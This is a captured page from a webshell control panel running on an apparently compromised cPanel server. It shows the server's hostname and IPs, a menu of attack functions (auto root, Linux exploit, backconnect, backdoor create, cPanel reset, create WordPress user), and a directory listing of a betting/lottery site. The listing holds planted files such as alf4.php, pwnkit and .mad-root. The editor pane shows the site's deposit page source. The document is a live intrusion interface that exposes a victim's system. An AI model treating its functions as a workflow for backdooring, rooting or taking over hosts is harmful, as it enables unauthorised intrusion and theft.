Linux s3.cpanelhost.co.in 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
LiteSpeed
: 65.108.44.247 | : 216.73.217.94
Cant Read [ /etc/named.conf ]
7.4.33
teac11783
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
teac11783 /
.trash /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxrwxrwx
1kryfn64w78-default-sea.rum.al...
[ DIR ]
drwxrwxrwx
6club.tashanwingame.us.cc
[ DIR ]
drwxrwxrwx
Dev
[ DIR ]
drwxrwxrwx
TSADVANCE
[ DIR ]
drwxrwxrwx
TSAPI
[ DIR ]
drwxrwxrwx
admin.4
[ DIR ]
drwxrwxrwx
api
[ DIR ]
drwxrwxrwx
api-live-v3
[ DIR ]
drwxrwxrwx
api-live-v4
[ DIR ]
drwxrwxrwx
api.2
[ DIR ]
drwxrwxrwx
api.ar-lottery01.com
[ DIR ]
drwxrwxrwx
api.ar-lottery01.com.1
[ DIR ]
drwxrwxrwx
api.yaarwapi62in.com
[ DIR ]
drwxrwxrwx
apiimages
[ DIR ]
drwxrwxrwx
apilogs
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
assets.1
[ DIR ]
drwxrwxrwx
assets.4
[ DIR ]
drwxrwxrwx
at.alicdn.com
[ DIR ]
drwxrwxrwx
cdn-cgi
[ DIR ]
drwxrwxrwx
cgi-bin
[ DIR ]
drwxrwxrwx
config
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
database
[ DIR ]
drwxrwxrwx
digitaladmin
[ DIR ]
drwxrwxrwx
download
[ DIR ]
drwxrwxrwx
draw
[ DIR ]
drwxrwxrwx
draw-live-v3
[ DIR ]
drwxrwxrwx
draw-live-v4
[ DIR ]
drwxrwxrwx
draw.ar-lottery01.com
[ DIR ]
drwxrwxrwx
draw.ar-lottery01.com.1
[ DIR ]
drwxrwxrwx
firebase-scope
[ DIR ]
drwxrwxrwx
firebase.googleapis.com
[ DIR ]
drwxrwxrwx
firebaseinstallations.googleap...
[ DIR ]
drwxrwxrwx
fonts.gstatic.com
[ DIR ]
drwxrwxrwx
h5kservice
[ DIR ]
drwxrwxrwx
home
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
images_usdt
[ DIR ]
drwxrwxrwx
img.1
[ DIR ]
drwxrwxrwx
jaiclubadmin
[ DIR ]
drwxrwxrwx
jaiclubbycodexhub
[ DIR ]
drwxrwxrwx
jaiclubnewlogin
[ DIR ]
drwxrwxrwx
jaiclubnewsas
[ DIR ]
drwxrwxrwx
jaiclubnewui
[ DIR ]
drwxrwxrwx
jiguang-scope
[ DIR ]
drwxrwxrwx
jili
[ DIR ]
drwxrwxrwx
joyclub
[ DIR ]
drwxrwxrwx
loading
[ DIR ]
drwxrwxrwx
luckypg
[ DIR ]
drwxrwxrwx
manifest
[ DIR ]
drwxrwxrwx
newshree
[ DIR ]
drwxrwxrwx
ossimg.bdg123456.com
[ DIR ]
drwxrwxrwx
ossimg.bdginht.com
[ DIR ]
drwxrwxrwx
ossimg.lottery7lottery7.com
[ DIR ]
drwxrwxrwx
ossimg.yaaprwipayn.com
[ DIR ]
drwxrwxrwx
pay
[ DIR ]
drwxrwxrwx
plugins
[ DIR ]
drwxrwxrwx
pro-img.arsaaspub.com.1
[ DIR ]
drwxrwxrwx
saas_lottery
[ DIR ]
drwxrwxrwx
sdk.rum.aliyuncs.com.1
[ DIR ]
drwxrwxrwx
serive
[ DIR ]
drwxrwxrwx
static.cloudflareinsights.com
[ DIR ]
drwxrwxrwx
static.cloudflareinsights.com....
[ DIR ]
drwxrwxrwx
tests
[ DIR ]
drwxrwxrwx
uploads
[ DIR ]
drwxrwxrwx
v
[ DIR ]
drwxrwxrwx
vendors
[ DIR ]
drwxrwxrwx
web
[ DIR ]
drwxrwxrwx
webapi.2
[ DIR ]
drwxrwxrwx
webapi2.1
[ DIR ]
drwxrwxrwx
www.google-analytics.com
[ DIR ]
drwxrwxrwx
www.googletagmanager.com
[ DIR ]
drwxrwxrwx
www.gstatic.com
[ DIR ]
drwxrwxrwx
.htaccess
545
B
-rw-r--r--
.htaccess.1
281
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
.trash_restore
13.23
KB
-rw-------
91club@192.png
23.44
KB
-rw-rw-rw-
AVIATOR_PATCH_README.txt
734
B
-rw-rw-rw-
AVIATOR_V3_README.txt
935
B
-rw-rw-rw-
BDG_V10_LOGIN_AND_SAAS_CHANGE_...
3.18
KB
-rw-rw-rw-
Callback.php
10.93
KB
-rw-rw-rw-
README_V11_PREMIUM_RELEASE.md
5.95
KB
-rw-rw-rw-
ROOT_DOMAIN_AND_GAME_SYNTAX_FI...
492
B
-rw-rw-rw-
ROOT_DOMAIN_AND_GAME_SYNTAX_FI...
1.22
KB
-rw-rw-rw-
SAAS_GAME_URL_ROUTE_FIX_V6.txt
1.63
KB
-rw-rw-rw-
SAAS_MOTORACING_CSS_FIX_V8.txt
1.6
KB
-rw-rw-rw-
SAAS_MOTORACING_LAUNCH_FIX_V7....
1.65
KB
-rw-rw-rw-
SAAS_MOTORACING_OFFICIAL_ASSET...
888
B
-rw-rw-rw-
SAAS_MOTORACING_REAL_SYNC_V4.t...
1.67
KB
-rw-rw-rw-
SAAS_WINGO_SAME_DOMAIN_FIX.txt
2.96
KB
-rw-rw-rw-
UPLOAD_INSTRUCTIONS.txt
957
B
-rw-rw-rw-
V11_QA_REPORT.md
2.68
KB
-rw-rw-rw-
VERSION_V11.txt
550
B
-rw-rw-rw-
WINGO_FULL_BACK_TREND_V6_20260...
825
B
-rw-rw-rw-
WINGO_FULL_BACK_TREND_V6_MANIF...
2.78
KB
-rw-rw-rw-
WINGO_NEXT_PERIOD_OVERRIDE_FIX...
3
KB
-rw-rw-rw-
YAARWIN_QR_PAYMENT_NAMES_FIX.t...
1.01
KB
-rw-rw-rw-
[object Object].html
50
B
-rw-rw-rw-
adminer.php
0
B
-rw-r--r--
agent_details.php
32.89
KB
-rw-rw-rw-
alf4.php
2.91
MB
-rw-r--r--
api2.php
998
B
-rw-rw-rw-
app.config.js
722
B
-rw-rw-rw-
ar-sw.js
2.19
KB
-rw-rw-rw-
atcron.php
1.56
KB
-rw-rw-rw-
bcreate.php
0
B
-rw-r--r--
bdg.apk
6.73
MB
-rw-rw-rw-
bdggame.apk
6.69
MB
-rw-rw-rw-
clear_spin.php
435
B
-rw-rw-rw-
commintioncron.php
2.65
KB
-rw-rw-rw-
compass.php
606
B
-rw-rw-rw-
create_admin.php
1.04
KB
-rw-r--r--
cron_guard.php
647
B
-rw-rw-rw-
dailysalary.php
13.37
KB
-rw-rw-rw-
data.111json
28.24
KB
-rw-rw-rw-
data.json
16.03
KB
-rw-rw-rw-
down.svg
259
B
-rw-rw-rw-
error_log
183.4
KB
-rw-rw-rw-
favico.ico
135
B
-rw-rw-rw-
firebase-messaging-sw.js
0
B
-rw-rw-rw-
get_agent.php
1.33
KB
-rw-rw-rw-
gold.svg
20.15
KB
-rw-rw-rw-
handlebalance.php
1.44
KB
-rw-rw-rw-
homeDown.svg
900
B
-rw-rw-rw-
icon-192x192.png
48.51
KB
-rw-rw-rw-
icon-512x512.png
232.51
KB
-rw-rw-rw-
index.html
1.31
MB
-rw-rw-rw-
index.php
2.33
KB
-rw-rw-rw-
jaiclub.php
0
B
-rw-r--r--
jg_sw.js
53.53
KB
-rw-rw-rw-
ktrx.php
1.53
KB
-rw-rw-rw-
ktrx10.php
1.54
KB
-rw-rw-rw-
ktrx3.php
1.54
KB
-rw-rw-rw-
ktrx5.php
1.54
KB
-rw-rw-rw-
live-chat-help.html
14.54
KB
-rw-rw-rw-
login.php
329
B
-rw-rw-rw-
logo.png
1.22
MB
-rw-rw-rw-
logoyes.png
171.53
KB
-rw-rw-rw-
maintenance.html
4.63
KB
-rw-rw-rw-
manifest.91club.json
808
B
-rw-rw-rw-
manual-deposit.html
12.32
KB
-rw-rw-rw-
message_notice.svg
927
B
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs3...
32.04
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
128.21
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
129.86
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
129.86
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
129.86
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
31.98
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
31.98
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
93.88
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
92.31
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
92.31
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
92.31
KB
-rw-rw-rw-
nayakaphalitansa_mulaka_unohs_...
31.95
KB
-rw-rw-rw-
notice.svg
1.42
KB
-rw-rw-rw-
php.ini
577
B
-rw-rw-rw-
placeholder.svg
603
B
-rw-rw-rw-
point.svg
188
B
-rw-rw-rw-
pwnkit
0
B
-rwxr-xr-x
rank.svg
5.33
KB
-rw-rw-rw-
rank_bg.svg
7.45
KB
-rw-rw-rw-
real-sync-v3-check.php
2.83
KB
-rw-rw-rw-
real-sync-v4-check.php
4.11
KB
-rw-rw-rw-
real-sync-v5-check.php
4.41
KB
-rw-rw-rw-
real-sync-v6-check.php
2.78
KB
-rw-rw-rw-
real-sync-v7-check.php
4.12
KB
-rw-rw-rw-
real-sync-v8-check.php
3.41
KB
-rw-rw-rw-
recharge_btn.svg
1.68
KB
-rw-rw-rw-
refresh.svg
629
B
-rw-rw-rw-
same-origin-lottery.js
4.11
KB
-rw-rw-rw-
spin.png
1.38
KB
-rw-rw-rw-
support-center.php
20.08
KB
-rw-rw-rw-
sw-domain.js
1.21
KB
-rw-rw-rw-
sw-page.js
7.98
KB
-rw-rw-rw-
sw-utils.js
3.83
KB
-rw-rw-rw-
sw.produce.min.3.3.5.js
1.22
MB
-rw-rw-rw-
tashanwin
0
B
-rw-r--r--
testipay.php
1.2
KB
-rw-rw-rw-
timepad.php
1.4
KB
-rw-rw-rw-
trx.php
27.74
KB
-rw-rw-rw-
trx1.php
28.62
KB
-rw-rw-rw-
trx10.php
29.66
KB
-rw-rw-rw-
trxupkid.php
27.86
KB
-rw-rw-rw-
trxupkid10.php
27.99
KB
-rw-rw-rw-
trxupkid3.php
27.93
KB
-rw-rw-rw-
trxupkid5.php
27.93
KB
-rw-rw-rw-
turntable.svg
23.79
KB
-rw-rw-rw-
up.svg
261
B
-rw-rw-rw-
vip.svg
57.21
KB
-rw-rw-rw-
winner.svg
10.42
KB
-rw-rw-rw-
withdraw_btn.svg
1.67
KB
-rw-rw-rw-
wlogo.png
30.35
KB
-rw-rw-rw-
yaarwin-payment-fix-check.php
3.48
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : manual-deposit.html
<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,viewport-fit=cover"><title>Manual Deposit</title><style> :root{--bg:#121212;--panel:#202020;--panel2:#2b2b2b;--line:#3a3a3a;--gold:#e8b84f;--text:#fff;--muted:#aaa;--green:#2bd79b;--red:#ff6464}*{box-sizing:border-box}body{margin:0;background:linear-gradient(180deg,#171717,#0f0f0f);color:var(--text);font:14px system-ui,-apple-system,Segoe UI,sans-serif;min-height:100vh}.wrap{max-width:720px;margin:auto;padding:18px 16px 50px}.top{display:flex;align-items:center;gap:12px;margin-bottom:18px}.back{width:40px;height:40px;border:1px solid var(--line);border-radius:12px;background:var(--panel);color:#fff;font-size:20px}.top h1{font-size:20px;margin:0}.top p{margin:3px 0 0;color:var(--muted);font-size:12px}.card{background:var(--panel);border:1px solid var(--line);border-radius:18px;padding:16px;margin-bottom:15px;box-shadow:0 15px 40px rgba(0,0,0,.22)}.methods{display:grid;grid-template-columns:repeat(2,1fr);gap:10px}.method{border:1px solid var(--line);background:var(--panel2);border-radius:15px;padding:14px;text-align:left;color:white;cursor:pointer}.method.active{border-color:var(--gold);box-shadow:0 0 0 2px rgba(232,184,79,.12)}.method strong{display:block}.method span{color:var(--muted);font-size:11px}.row{display:grid;grid-template-columns:1fr 1fr;gap:12px}.field{margin-top:13px}.field label{display:block;color:var(--muted);font-size:12px;margin-bottom:7px}.field input,.field textarea{width:100%;padding:13px;background:#151515;border:1px solid var(--line);border-radius:12px;color:#fff;outline:none}.field input:focus,.field textarea:focus{border-color:var(--gold)}.field textarea{min-height:90px;resize:vertical}.btn{width:100%;padding:14px;border:0;border-radius:13px;background:linear-gradient(135deg,#dca83e,#f3ce73);font-weight:800;color:#211704;cursor:pointer;margin-top:16px}.btn:disabled{opacity:.55}.note{padding:12px;border-radius:12px;background:#161616;color:#c9c9c9;line-height:1.5}.status{font-size:12px;padding:8px 10px;border-radius:999px;display:inline-block}.pending{background:#493e20;color:#ffd76c}.approved{background:#153c31;color:#76e8bd}.rejected{background:#4b2028;color:#ff9bab}.history{display:grid;gap:10px}.history-item{padding:13px;border:1px solid var(--line);border-radius:13px;background:#171717}.history-item .head{display:flex;justify-content:space-between;gap:10px}.history-item small{display:block;color:var(--muted);margin-top:6px}.msg{display:none;margin-bottom:12px;padding:12px;border-radius:12px}.msg.show{display:block}.msg.ok{background:#143a30;color:#75e4b9}.msg.err{background:#482029;color:#ff9cac}@media(max-width:520px){.methods,.row{grid-template-columns:1fr}.wrap{padding:12px}} /* V11 premium glass deposit skin */ :root{--bg:#050813;--panel:rgba(15,23,42,.78);--panel2:rgba(30,41,59,.62);--line:rgba(148,163,184,.16);--gold:#67e8f9;--text:#f8fafc;--muted:#91a0b7;--green:#34d399;--red:#fb7185}body{background:radial-gradient(circle at 12% 2%,rgba(76,29,149,.38),transparent 30%),radial-gradient(circle at 90% 0,rgba(8,145,178,.23),transparent 28%),linear-gradient(145deg,#050813,#090e1c 54%,#040711);background-attachment:fixed;font-family:Inter,system-ui,-apple-system,"Segoe UI",sans-serif}body:before{content:"";position:fixed;inset:0;pointer-events:none;opacity:.19;background-image:linear-gradient(rgba(255,255,255,.025) 1px,transparent 1px),linear-gradient(90deg,rgba(255,255,255,.025) 1px,transparent 1px);background-size:42px 42px}.wrap{position:relative;max-width:760px;padding:24px 18px 54px}.top{margin-bottom:22px}.back{display:grid;place-items:center;width:43px;height:43px;border-color:var(--line);border-radius:14px;background:rgba(15,23,42,.68);color:#cbd5e1;box-shadow:0 12px 28px rgba(0,0,0,.18);cursor:pointer}.back svg{width:20px;height:20px;fill:none;stroke:currentColor;stroke-width:2;stroke-linecap:round;stroke-linejoin:round}.top h1{font-size:24px;letter-spacing:-.025em}.top p{color:#8998ae}.card{position:relative;overflow:hidden;padding:19px;background:linear-gradient(145deg,rgba(20,29,51,.83),rgba(11,18,34,.74));border-color:var(--line);border-radius:19px;box-shadow:0 24px 60px rgba(0,0,0,.27),inset 0 1px 0 rgba(255,255,255,.025);backdrop-filter:blur(18px);animation:cardIn .42s ease both}.card:before{content:"";position:absolute;inset:0;pointer-events:none;background:linear-gradient(120deg,rgba(255,255,255,.045),transparent 24%,transparent 72%,rgba(139,92,246,.04))}.card h3,.methods,.field,.note,.history,.btn{position:relative}.method{display:grid;grid-template-columns:39px 1fr;column-gap:11px;align-items:center;min-height:70px;padding:13px;background:rgba(8,14,29,.55);border-color:var(--line);border-radius:15px;transition:.2s ease}.method:hover{transform:translateY(-2px);border-color:rgba(34,211,238,.26)}.method.active{border-color:rgba(34,211,238,.48);background:linear-gradient(135deg,rgba(124,58,237,.17),rgba(8,145,178,.11));box-shadow:0 0 0 3px rgba(34,211,238,.06),0 14px 34px rgba(0,0,0,.2)}.method-icon{grid-row:1/3;display:grid!important;place-items:center;width:39px;height:39px;border-radius:12px;background:linear-gradient(145deg,rgba(124,58,237,.25),rgba(8,145,178,.19));color:#67e8f9!important}.method-icon svg{width:20px;height:20px;fill:none;stroke:currentColor;stroke-width:1.8;stroke-linecap:round;stroke-linejoin:round}.method strong{font-size:12px}.method>span:last-child{color:#8493aa}.field input,.field textarea{background:rgba(4,9,21,.65);border-color:rgba(148,163,184,.2);color:#eef2f7}.field input:focus,.field textarea:focus{border-color:rgba(34,211,238,.5);box-shadow:0 0 0 4px rgba(34,211,238,.07)}.btn{display:flex;align-items:center;justify-content:center;gap:8px;background:linear-gradient(135deg,#7c3aed,#2563eb 62%,#0891b2);color:#fff;border:1px solid rgba(167,139,250,.28);box-shadow:0 15px 34px rgba(76,29,149,.3);transition:.2s ease}.btn:hover{transform:translateY(-2px);box-shadow:0 20px 42px rgba(76,29,149,.39)}.btn svg{width:18px;height:18px;fill:none;stroke:currentColor;stroke-width:1.8;stroke-linecap:round;stroke-linejoin:round}.note{background:rgba(4,9,21,.48);border:1px solid rgba(148,163,184,.12);color:#a7b3c5}.pending{background:rgba(217,119,6,.17);color:#fcd34d}.approved{background:rgba(5,150,105,.17);color:#6ee7b7}.rejected{background:rgba(190,18,60,.2);color:#fda4af}.history-item{background:rgba(4,9,21,.45);border-color:var(--line)}.msg{border:1px solid transparent}.msg.ok{background:rgba(5,150,105,.16);border-color:rgba(52,211,153,.2);color:#a7f3d0}.msg.err{background:rgba(159,18,57,.18);border-color:rgba(251,113,133,.22);color:#fecdd3}@keyframes cardIn{from{opacity:0;transform:translateY(9px)}to{opacity:1;transform:none}}@media(max-width:520px){.wrap{padding:16px 11px}.card{border-radius:17px}}@media(prefers-reduced-motion:reduce){*,*:before,*:after{animation-duration:.01ms!important;animation-iteration-count:1!important;transition-duration:.01ms!important}} </style></head><body><div class="wrap"><div class="top"><button class="back" onclick="history.back()" aria-label="Go back"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="m15 18-6-6 6-6"/></svg></button><div><h1>Manual Deposit</h1><p>Submit your reference and PNG receipt for admin verification.</p></div></div><div id="msg" class="msg"></div><section class="card"><h3 style="margin-top:0">Choose payment method</h3><div id="methods" class="methods"><div class="note">Loading payment methods…</div></div></section><section class="card"><h3 style="margin-top:0">Deposit request</h3><div id="methodInfo" class="note">Select a payment method above.</div><form id="depositForm"><div class="row"><div class="field"><label>Amount</label><input id="amount" type="number" step="0.01" required></div><div class="field"><label>Transaction / UTR reference</label><input id="reference" maxlength="120" required></div></div><div class="field"><label>PNG receipt</label><input id="receipt" type="file" accept="image/png" required></div><button id="submitBtn" class="btn" type="submit"><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M12 3v12m0-12 4 4m-4-4L8 7"/><path d="M5 14v6h14v-6"/></svg>Submit deposit request</button></form></section><section class="card"><h3 style="margin-top:0">Recent requests</h3><div id="history" class="history"><div class="note">Loading…</div></div></section></div><script> function token(){for(const key of ['ar_token','token']){const raw=localStorage.getItem(key)||'';if(!raw)continue;try{const parsed=JSON.parse(raw);if(typeof parsed==='string'&&parsed)return parsed;if(parsed&&typeof parsed==='object'){const found=String(parsed.value||parsed.token||parsed.data||'');if(found)return found}}catch(e){const found=raw.replace(/^\"|\"$/g,'');if(found)return found}}return''} const auth=()=>({'Authorization':'Bearer '+token()});let methods=[],selected=null;const q=new URLSearchParams(location.search).get('method'); function message(text,ok=false){const el=document.getElementById('msg');el.textContent=text;el.className='msg show '+(ok?'ok':'err');scrollTo({top:0,behavior:'smooth'});setTimeout(()=>el.classList.remove('show'),5000)} async function api(url,opts={}){const r=await fetch(url,{method:'POST',...opts,headers:{...auth(),...(opts.headers||{})}});const j=await r.json().catch(()=>({}));if(!r.ok||j.code!==0)throw new Error(j.msg||'Request failed');return j.data} async function loadMethods(){if(!token()){message('Please login first.');return}try{const d=await api('/TSAPI/api/webapi/GetManualPaymentMethods');methods=d.list||[];const box=document.getElementById('methods');box.innerHTML='';if(!methods.length){box.innerHTML='<div class="note">No manual payment method is enabled.</div>';return}methods.forEach(m=>{const b=document.createElement('button');b.type='button';b.className='method';b.innerHTML=`<span class="method-icon"><svg viewBox="0 0 24 24" aria-hidden="true"><rect x="2" y="5" width="20" height="14" rx="3"/><path d="M2 10h20M6 15h4"/></svg></span><strong>${escapeHtml(m.name)}</strong><span>₹${m.min_amount} – ₹${m.max_amount}</span>`;b.onclick=()=>select(m,b);box.appendChild(b);if((q&&m.code===q)||(!selected&&methods[0]===m))setTimeout(()=>b.click(),0)})}catch(e){message(e.message)}} function select(m,b){selected=m;document.querySelectorAll('.method').forEach(x=>x.classList.remove('active'));b.classList.add('active');document.getElementById('amount').min=m.min_amount;document.getElementById('amount').max=m.max_amount;const cfg=m.config||{};document.getElementById('methodInfo').innerHTML=`<b>${escapeHtml(m.name)}</b><br>${escapeHtml(m.instructions||'Follow the configured payment instructions.')}<br><small>${Object.entries(cfg).map(([k,v])=>`${escapeHtml(k)}: ${escapeHtml(String(v))}`).join(' · ')}</small>`} function escapeHtml(s){return String(s??'').replace(/[&<>'"]/g,c=>({'&':'&','<':'<','>':'>',"'":''','"':'"'}[c]))} document.getElementById('depositForm').addEventListener('submit',async e=>{e.preventDefault();if(!selected)return message('Choose a payment method.');const file=document.getElementById('receipt').files[0];if(!file||file.type!=='image/png')return message('Please upload a PNG receipt.');const fd=new FormData();fd.append('method_code',selected.code);fd.append('amount',document.getElementById('amount').value);fd.append('reference_no',document.getElementById('reference').value.trim());fd.append('receipt',file);const btn=document.getElementById('submitBtn');btn.disabled=true;try{await api('/TSAPI/api/webapi/CreateManualDepositRequest',{body:fd});message('Deposit request submitted. Admin review is pending.',true);e.target.reset();loadHistory()}catch(err){message(err.message)}finally{btn.disabled=false}}); async function loadHistory(){try{const d=await api('/TSAPI/api/webapi/GetManualDepositRequests',{headers:{'Content-Type':'application/json'},body:'{}'});const box=document.getElementById('history'),list=d.list||[];box.innerHTML=list.length?'':'<div class="note">No requests yet.</div>';list.forEach(x=>{const el=document.createElement('div');el.className='history-item';el.innerHTML=`<div class="head"><b>#${x.id} · ₹${Number(x.amount).toFixed(2)}</b><span class="status ${escapeHtml(x.status)}">${escapeHtml(x.status)}</span></div><small>${escapeHtml(x.method_code)} · ${escapeHtml(x.reference_no)} · ${escapeHtml(x.created_at)}</small>${x.admin_note?`<small>Admin: ${escapeHtml(x.admin_note)}</small>`:''}`;box.appendChild(el)})}catch(e){document.getElementById('history').innerHTML='<div class="note">Unable to load request history.</div>'}} loadMethods();loadHistory(); </script></body></html>
Close